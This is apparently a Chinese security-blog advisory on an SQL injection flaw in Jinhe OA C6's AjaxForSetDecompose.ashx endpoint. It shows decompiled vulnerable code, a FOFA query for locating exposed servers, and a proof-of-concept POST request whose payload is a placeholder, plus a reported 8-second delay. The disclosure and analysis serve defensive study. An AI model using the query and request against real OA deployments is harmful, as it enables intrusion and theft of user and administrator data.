金和OA AjaxForSetDecompose.ashx SQL注入漏洞


漏洞简介

金和网络是专业信息化服务商,为城市监管部门提供了互联网+监管解决方案,为企事业单位提供组织协同OA系统开发平台,电子政务一体化平台,智慧电商平台等服务。金和OA C6 AjaxForSetDecompose.ashx 接口处存在SQL注入漏洞,攻击者除了可以利用SQL注入漏洞获取数据库中的信息(例如,管理员后台密码、站点的用户个人信息)之外,甚至在高权限的情况可向服务器中写入木马,进一步获取服务器系统权限。

影响版本

金和OA C6

fofa语法

app="金和网络-金和OA"

漏洞分析

根据 AjaxForSetDecompose.ashx 的源码,在 bin 目录下查找 JHBase.Web.CostControl.dll 将其进行反编译后找到 AjaxForSetDecompose 的处理逻辑

context.Response.ContentType = "text/plain";
string str1 = "设置成功!";
string str2 = context.Request["strType"];
if (string.op_Equality(str2, "add"))
{
  string str3 = context.Request["strBudgetManageInfo"];
  string strDeptCollect = context.Request["strDeptCollect"];
  string strUserIdAndDeptId = context.Request["strUserIdAndDeptId"];
  string empty1 = string.Empty;
  if (!string.IsNullOrEmpty(strDeptCollect))
    empty1 = strDeptCollect.Split(new char[1]{ '@' })[0].Split(new char[1]
    {
      '|'
    })[0];
  if (string.op_Equality(context.Request["strCollectState"], "old"))
  {
    string empty2 = string.Empty;
    DataTable budgetCollectManage = this.budgetDecomposeDao.GetBudgetCollectManage(empty1);
    string str4 = budgetCollectManage == null || ((InternalDataCollectionBase) budgetCollectManage.Rows).Count <= 0 ? "没进行过公司汇总流程" : budgetCollectManage.Rows[0]["BudgetTime"].ToString();
    if (string.op_Equality(str4, "0"))
      str1 = empty1 + "年度全部期间的汇总已经提交,不能进行设置的修改操作!";
    else if (string.op_Equality(str4, "没进行过公司汇总流程"))
    {
      string ToUsersList1 = string.Empty;
      string str5 = string.Empty;
      string strContent1 = $"您好,{empty1}年的预算汇总做了重新设置,您之前提交的汇总已经被撤销,请知晓!";
      DataTable dataTable1 = this.db.ExecSQLReDataTable("select * from BudgetUserAndDept where BudgetType = 1");
      if (dataTable1 != null && ((InternalDataCollectionBase) dataTable1.Rows).Count > 0)
      {
        for (int index = 0; index < ((InternalDataCollectionBase) dataTable1.Rows).Count; ++index)
          str5 = index != 0 ? $"{str5},{dataTable1.Rows[index]["DeptId"].ToString()}" : dataTable1.Rows[index]["DeptId"].ToString();
        ((MarshalByValueComponent) dataTable1).Dispose();
      }
      DataTable dataTable2 = this.db.ExecSQLReDataTable($"select UserID from BudgetUserAndDept where BudgetType = 1 \r\n                                    union \r\n                                    select distinct UserID from RelationshipUsers where DeptLeader = 1 and DeptID in ({str5})");
      if (dataTable2 != null && ((InternalDataCollectionBase) dataTable2.Rows).Count > 0)
      {
        for (int index = 0; index < ((InternalDataCollectionBase) dataTable2.Rows).Count; ++index)
          ToUsersList1 = index != 0 ? $"{ToUsersList1},{dataTable2.Rows[index]["UserID"].ToString()}" : dataTable2.Rows[index]["UserID"].ToString();
        ((MarshalByValueComponent) dataTable2).Dispose();
      }
      this.Callt.InsertCall(strContent1, ToUsersList1, context.Session["UserCode"].ToString(), context.Session["DeptID"].ToString(), "", "", "", "", "", "");
      this.db.ExecSQLReInt("delete CollectList where CollectYear = " + empty1);
      if (this.budgetDecomposeDao.AddBudgetManageInfo((object[]) str3.Split(new char[1]
      {
        '|'
      }), strUserIdAndDeptId) == 0)
      {
        str1 = "设置失败!";
      }
      else
      {
        this.budgetDecomposeDao.AddDeptCollect(strDeptCollect);
        string ToUsersList2 = string.Empty;
        string strContent2 = $"<a href='../JHSoft.Web.CostControl/Collect/DepartmentBudgetCollect.aspx?strYear={empty1}'>您好,{empty1}年的预算汇总已经设置,请抓紧时间处理,逾期将不能提交!</a>具体设置:";
        string str6 = strDeptCollect;
        char[] chArray1 = new char[1]{ '@' };
        foreach (string str7 in str6.Split(chArray1))
        {
          char[] chArray2 = new char[1]{ '|' };
          string[] strArray = str7.Split(chArray2);
          if (string.op_Equality(strArray[5], "0"))
            strContent2 = $"{strContent2}<br />第{strArray[1]}区间起始时间:{strArray[2]} 至 {strArray[3]}";
        }
        DataTable dataTable3 = this.db.ExecSQLReDataTable("select * from BudgetUserAndDept where BudgetType = 1");
        if (dataTable3 != null && ((InternalDataCollectionBase) dataTable3.Rows).Count > 0)
        {
          for (int index = 0; index < ((InternalDataCollectionBase) dataTable3.Rows).Count; ++index)
            str5 = index != 0 ? $"{str5},{dataTable3.Rows[index]["DeptId"].ToString()}" : dataTable3.Rows[index]["DeptId"].ToString();
          ((MarshalByValueComponent) dataTable3).Dispose();
        }
        DataTable dataTable4 = this.db.ExecSQLReDataTable($"select UserID from BudgetUserAndDept where BudgetType = 1 \r\n                                    union \r\n                                    select distinct UserID from RelationshipUsers where DeptLeader = 1 and DeptID in ({str5})");
        if (dataTable4 != null && ((InternalDataCollectionBase) dataTable4.Rows).Count > 0)
        {
          for (int index = 0; index < ((InternalDataCollectionBase) dataTable4.Rows).Count; ++index)
            ToUsersList2 = index != 0 ? $"{ToUsersList2},{dataTable4.Rows[index]["UserID"].ToString()}" : dataTable4.Rows[index]["UserID"].ToString();
          ((MarshalByValueComponent) dataTable4).Dispose();
        }
        this.Callt.InsertCall(strContent2, ToUsersList2, context.Session["UserCode"].ToString(), context.Session["DeptID"].ToString(), "", "", "", "", "", "");
      }
    }
    else
      this.budgetDecomposeDao.AddDeptCollect(strDeptCollect);
  }
  else if (this.budgetDecomposeDao.AddBudgetManageInfo((object[]) str3.Split(new char[1]
  {
    '|'
  }), strUserIdAndDeptId) == 0)
    str1 = "设置失败!";
else if (string.op_Equality(str2, "getDetpCollect"))
  str1 = this.SetDepartmentBudgetCollect(context.Request["strYear"]);
else if (string.op_Equality(str2, "getAppCollect"))
{
  string str10 = context.Request["strYear"];
  DataTable dataTable = new DataTable();
  if (!string.IsNullOrEmpty(str10))
    dataTable = this.db.ExecSQLReDataTable($"select * from BudgetCollectManage where BudgetYear = {str10} and CollectState in (0,1) order by BudgetTime");
  str1 = ((InternalDataCollectionBase) dataTable.Rows).Count <= 0 ? "0" : "1";
}
context.Response.Write(str1);

当 strType=getDetpCollect 时,strYear 被带入SetDepartmentBudgetCollect方法

protected string SetDepartmentBudgetCollect(string strYear)
{
  string str1 = string.Empty;
  DataTable dataTable = new DataTable();
  if (!string.IsNullOrEmpty(strYear))
    dataTable = this.db.ExecSQLReDataTable($"select * from BudgetCollectManage where BudgetYear = {strYear} and CollectState in (0,1) order by BudgetTime");

参数strYear被直接拼接到SQL语句中执行,造成SQL注入漏洞。

整体执行流程如下,当中其他几个方法也存在同样的sql注入漏洞,就不赘述了

漏洞复现

POST /c6/JHSoft.Web.CostControl/Decompose/AjaxForSetDecompose.ashx HTTP/1.1
Host: jhsoft.mrxn.net
Content-Type: application/x-www-form-urlencoded

strType=getDetpCollect&strYear=SQLI_POC

成功延时 8 秒


手机扫码阅读

安科瑞智能环保云平台 /MainMonitor/GetEnterpriseInfoMapByDate/GetDates SQL 注入漏洞

天锐绿盾审批系统 /ext/mergeQuery fastjson反序列化漏洞

评 论